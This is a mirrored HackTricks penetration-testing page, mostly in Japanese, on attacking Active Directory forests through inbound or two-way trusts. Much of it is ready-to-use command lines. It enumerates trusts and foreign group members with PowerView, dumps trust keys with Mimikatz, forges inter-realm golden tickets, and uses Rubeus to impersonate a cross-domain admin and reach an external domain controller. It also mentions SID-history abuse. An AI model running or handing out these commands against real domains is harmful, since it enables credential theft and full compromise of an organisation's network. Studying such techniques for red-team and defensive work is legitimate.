mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
145 lines
8.1 KiB
Markdown
145 lines
8.1 KiB
Markdown
# 外部フォレストドメイン - 一方向（インバウンド）または双方向
|
||
|
||
{% hint style="success" %}
|
||
AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricksをサポートする</summary>
|
||
|
||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
|
||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
このシナリオでは、外部ドメインがあなたを信頼している（または両方が互いに信頼している）ため、何らかのアクセスを得ることができます。
|
||
|
||
## 列挙
|
||
|
||
まず最初に、**信頼**を**列挙**する必要があります：
|
||
```powershell
|
||
Get-DomainTrust
|
||
SourceName : a.domain.local --> Current domain
|
||
TargetName : domain.external --> Destination domain
|
||
TrustType : WINDOWS-ACTIVE_DIRECTORY
|
||
TrustAttributes :
|
||
TrustDirection : Inbound --> Inboud trust
|
||
WhenCreated : 2/19/2021 10:50:56 PM
|
||
WhenChanged : 2/19/2021 10:50:56 PM
|
||
|
||
# Get name of DC of the other domain
|
||
Get-DomainComputer -Domain domain.external -Properties DNSHostName
|
||
dnshostname
|
||
-----------
|
||
dc.domain.external
|
||
|
||
# Groups that contain users outside of its domain and return its members
|
||
Get-DomainForeignGroupMember -Domain domain.external
|
||
GroupDomain : domain.external
|
||
GroupName : Administrators
|
||
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external
|
||
MemberDomain : domain.external
|
||
MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133
|
||
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
|
||
DC=external
|
||
|
||
# Get name of the principal in the current domain member of the cross-domain group
|
||
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
|
||
DEV\External Admins
|
||
|
||
# Get members of the cros-domain group
|
||
Get-DomainGroupMember -Identity "External Admins" | select MemberName
|
||
MemberName
|
||
----------
|
||
crossuser
|
||
|
||
# Lets list groups members
|
||
## Check how the "External Admins" is part of the Administrators group in that DC
|
||
Get-NetLocalGroupMember -ComputerName dc.domain.external
|
||
ComputerName : dc.domain.external
|
||
GroupName : Administrators
|
||
MemberName : SUB\External Admins
|
||
SID : S-1-5-21-3263068140-2042698922-2891547269-1133
|
||
IsGroup : True
|
||
IsDomain : True
|
||
|
||
# You may also enumerate where foreign groups and/or users have been assigned
|
||
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
|
||
```
|
||
In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**.
|
||
|
||
## 初期アクセス
|
||
|
||
もしあなたのユーザーが他のドメインで**特別な**アクセスを見つけられなかった場合、ADメソドロジーに戻り、**特権のないユーザーからの昇格**を試みることができます（例えば、kerberoastingなど）：
|
||
|
||
**Powerview関数**を使用して、`-Domain`パラメータを使って**他のドメイン**を**列挙**することができます。
|
||
```powershell
|
||
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
||
```
|
||
{% content-ref url="./" %}
|
||
[.](./)
|
||
{% endcontent-ref %}
|
||
|
||
## なりすまし
|
||
|
||
### ログイン
|
||
|
||
外部ドメインにアクセス権を持つユーザーの資格情報を使用して、通常の方法でアクセスできるはずです:
|
||
```powershell
|
||
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
|
||
```
|
||
### SID履歴の悪用
|
||
|
||
フォレストトラストを通じて[**SID履歴**](sid-history-injection.md)を悪用することもできます。
|
||
|
||
ユーザーが**あるフォレストから別のフォレストに移行され**、**SIDフィルタリングが有効でない**場合、**他のフォレストからSIDを追加する**ことが可能になり、この**SID**は**トラストを通じて認証する際にユーザーのトークンに追加されます**。
|
||
|
||
{% hint style="warning" %}
|
||
念のため、署名キーを取得することができます。
|
||
```powershell
|
||
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
|
||
```
|
||
{% endhint %}
|
||
|
||
現在のドメインのユーザーを**偽装する**ために、**信頼された**キーで**TGTに署名する**ことができます。
|
||
```bash
|
||
# Get a TGT for the cross-domain privileged user to the other domain
|
||
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
|
||
|
||
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
|
||
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
|
||
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
|
||
|
||
# Now you have a TGS to access the CIFS service of the domain controller
|
||
```
|
||
### ユーザーを完全に偽装する方法
|
||
```bash
|
||
# Get a TGT of the user with cross-domain permissions
|
||
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
|
||
|
||
# Get a TGT from the current domain for the target domain for the user
|
||
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
|
||
|
||
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
|
||
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
|
||
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
|
||
|
||
# Now you have a TGS to access the CIFS service of the domain controller
|
||
```
|
||
{% hint style="success" %}
|
||
AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricksをサポートする</summary>
|
||
|
||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
|
||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||
|
||
</details>
|
||
{% endhint %}
|